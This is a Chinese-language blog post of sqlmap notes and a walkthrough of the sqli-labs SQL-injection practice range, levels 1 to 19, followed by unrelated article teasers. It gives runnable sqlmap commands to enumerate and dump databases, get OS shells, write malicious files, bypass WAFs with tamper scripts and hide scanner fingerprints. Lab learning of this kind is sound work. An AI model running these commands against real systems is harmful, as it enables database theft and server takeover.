sqlmap学习,打靶sqli-labs.(1-19)

server/2024/11/27 3:04:02/

前言:用于学习sqlmap的简单使用,使用sqli-labs靶场进行测试。

当然,在实战中,考虑的更多,例如如何隐藏自己(特征码),编码加解密、sqlmap抓包调试分析等...

不过那些都是后话,太遥远...基础NO.1!!

先贴上我的sqlmap笔记。

# SQLMAP的使用。--->MYSQL# 1.判断注入点 
python .\sqlmap.py -u "目标" [会自行判断]# 2.爆库 python .\sqlmap -u "目标" --current-db
[一般来讲不用tables--->因为会获取所以的database,而用--current-db获取当前数据库]# 3.爆表  python .\sqlmap -u "目标" --tables -D "库名" 
[tables获取所有当前库的表]# 4.爆破字段 python .\sqlmap -u "目标" --columns -T "表名" --tables -D "库名"
[同理,获取当前所有字段]# 5.爆出数据  python .\sqlmap -u "目标" --dump -C "字段1,字段2" --columns -T "表名" --tables -D "库名"[结果会保存在"C:\Users\13168\AppData\Local\sqlmap\  对应URL的dump"中]# 高权限
--is-dba 、# 判断是否是管理员   
[如果是]
--sql-shell [高权限,直接读取。][做其他事儿]
--file-write "恶意文件路径" --file-dest "目标文件路径"--os-cmd=ver # 一次--os-shell # 交互# 提交方法 
# GET
[GET就是上面的那种]# POST python .\sqlmap -u "目标" --data "POST表单数据(可以通过抓包查看,浏览器负载中可见POST)"
[POST需要额外需要data,其他一样]# cookie  --cookie ""##### 文件头注入(标头注入) python .\sqlmap -r .\数据包.txt ————##小迪推荐## 原因: ![alt text](image-7.png)
:避免不能访问而导致的无效注入[复制请求标头,bp抓你自己发送的包 - - ]
在注入点后面加上*,把 数据包.txt 保存在sqlmap的目录并使用参数进行注入.[不加*会默认全是注入点...]# 绕过模块 - tamper脚本-使用&开发
因为sqlmap不会识别编码加解密问题 所以需要进行"告知"
sqlmap data模块 是关于payload以及exp设置tamper 自带的有一些编码加解密  
https://www.cnblogs.com/bmjoker/p/9326258.html --tamper参数参考 python .\sqlmap -u "目标" --tamper=base64encode.py[tamper目录自带的,仅复制名字就可以]# 过滤代码 (PHP) 防止一些SQL注入 
[若攻击者知道你的过滤思路,且能利用缺陷,那么借助tamper(可以自己CV复制模板针对性编写)]
WAF:
![alt text](image-8.png) 
payload:
![alt text](image-9.png)
难点:测试黑盒环境中,提取有用信息,而不是难的写脚本.拓展引用:--batch  # 自动最优选择Y/N/Q
--thread # 1-10指定线程
-v  #详细的等级(0-6) 小迪说一般用的最多是的 4 方法: -v 4 [配合tamper,能够分析是否注入、有没有生效、进行调试,判断是哪儿出现问题]0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容 sqlmap最典型的特征: sqlmap/版本号#dev (https://sqlmap.org) ----特征码[蓝队防守思路]突破指纹识别: 
--user-agent "自定义UA头内容" # 自定义UA头 
--random-agent # 随机user-agent
--time-sec=(2,5) # 延迟响应,默认为5#####等级--level=(1-5) # 要执行的测试水平等级,默认为1 测试的深度,=2测试cookie等 >=3 ua、referer... --risk=(0-3) # 测试执行的风险等级,默认为1
[level和risk,自己选,都可以选择]
[level-x(x为1-5)当为2时会对头部的cookie进行扫描注入尝试,x>=3时对user-Agent,ip,referer参数进行扫描]
[risk-x,(x为1-3)1时进行大部分扫描,2会增加基于事件的测试语句,3会增加or语句的sql注入]###意义:[测试数据包全部数据,因为存在隐藏参数.但是测试时间会更长]代理注入: 一般配合bp抓包,时时进行观察
--proxy "http://xx:xx" # 代理注入
--proxy "http://127.0.0.1:8080"[代理池,思路同上,]--小迪推荐 快代理[网站名]-->隧道代理。

Less-1~9

GET型

通杀:

 python .\sqlmap.py -u "http://192.168.117.131:8081/Less-9/?id=1" --batch --dbs

第10关

需要增加测试等级深度 --level=2(2往上走)

 python .\sqlmap.py -u "http://192.168.117.131:8081/Less-10/?id=1" --batch --dbs --level=3

Less11~15

通杀:

一、 POST参数注入
python .\sqlmap.py -u "http://192.168.117.131:8081/Less-15/" --data "uname=1&passwd=1&submit=Submit" --batch --dbs
二、标头注入python .\sqlmap.py -r 1.txt --batch --dbs

POST类型

一般会使用 --data(不过更推荐 -r 标头注入.txt        原因-:数据完整性?) 

 ① --data : POST参数注入

 python .\sqlmap.py -u "http://192.168.117.131:8081/Less-11/"  --data "uname=1&passwd=1&submit=Submit" --batch --dbs

标头注入:(标头注入 || 数据包注入 [浏览器或bp获取标头or数据包])

①通过浏览器获取表单

F12---->网络


 

1.txt内容如下:(1.txt在sqlmap的目录下)

②复制bp抓包的数据:(标头注入更推荐bp)

。。。。其他操作与①一样.

less16~17

深度设为 --level=2往上走就可以了。[建议 --thread 多线程一起跑,太慢了....]

推荐使用标头注入(数据包完整)

 python .\sqlmap.py -r .\1.txt --batch --dbs --level=2

less18等级设为 3 

less19:(refer注入,不知道不设*也可注入成功.)

 python .\sqlmap.py -r .\1.txt --batch --dbs --level=3

less20:

(待补!卡住了)


http://www.ppmy.cn/server/145220.html

相关文章

PyQt的安装和再PyCharm中的配置

安装 pip install pyqt5 -i https://pypi.tuna.tsinghua.edu.cn/simple pip install pyqt5-tools -i https://pypi.tuna.tsinghua.edu.cn/simple配置 QtDesigner Name:自己取 Program:上面的路径 Working directory:$FileDir$PyUic Name&am…

如何定制谷歌浏览器的外观主题

在数字化时代,浏览器已成为我们日常生活中不可或缺的一部分。谷歌浏览器,以其快速、稳定和丰富的扩展程序而广受用户喜爱。但你知道吗?除了强大的功能外,谷歌浏览器还允许用户通过定制外观主题来打造更加个性化的浏览体验。本文将…

【ArcGISPro】使用AI提取要素-土地分类(sentinel2)

Sentinel2数据处理 【ArcGISPro】Sentinel-2数据处理-CSDN博客 土地覆盖类型分类 处理结果

android-studio-4.2下载 、启动

下载 分享一个国内的android studio网站,可以下载SDK和一些Android studio开发工具 https://www.androiddevtools.cn/ 启动 JAVA_HOME/app/zulu17.48.15-ca-jdk17.0.10-linux_x64/ /app5/android-studio-home/android-studio-ide-201.6568795-linux-4.2C1/bin/s…

蓝桥杯每日真题 - 第22天

题目:(卡片) 题目描述(12届 C&C B组B题) 解题思路: 该问题要求用数字卡片从 1 开始拼出整数,直到某一时刻不能拼出时停止。要确定拼到哪个最大整数,需要统计 每个数字“1”被用…

Redis密码设置与访问限制(网络安全)

现在用redis缓存热数据越来越常见了,甚至一些配置,开关等等的东西也写到redis里。原因就是redis简单高效。redis里的数据也越来越重要了,例如一些业务的中间数据会暂时存放在redis里,所以限制redis的访问还是很有必要。 本文通过…

SpringBoot开发——Maven多模块工程最佳实践及详细示例

文章目录 一、前言二、Maven多模块工程的最佳实践1、项目结构清晰2、依赖管理统一3、插件配置统一4、版本控制一致5、模块间通信简化 三、详细示例1、项目结构2、父模块(parent)的pom.xml文件3、子模块(module-api)的pom.xml文件4…

C#(12) 内部类和分部类

前言 我们发现,其实我们这几节一直都在学习拓展相关的方法,不管是拓展方法,还是运算符重载,还是今天的内部类和分部类。它们都可以用来增强、扩展或重新定义类的功能,使得代码更加灵活和可重用。 研究分部类和内部类…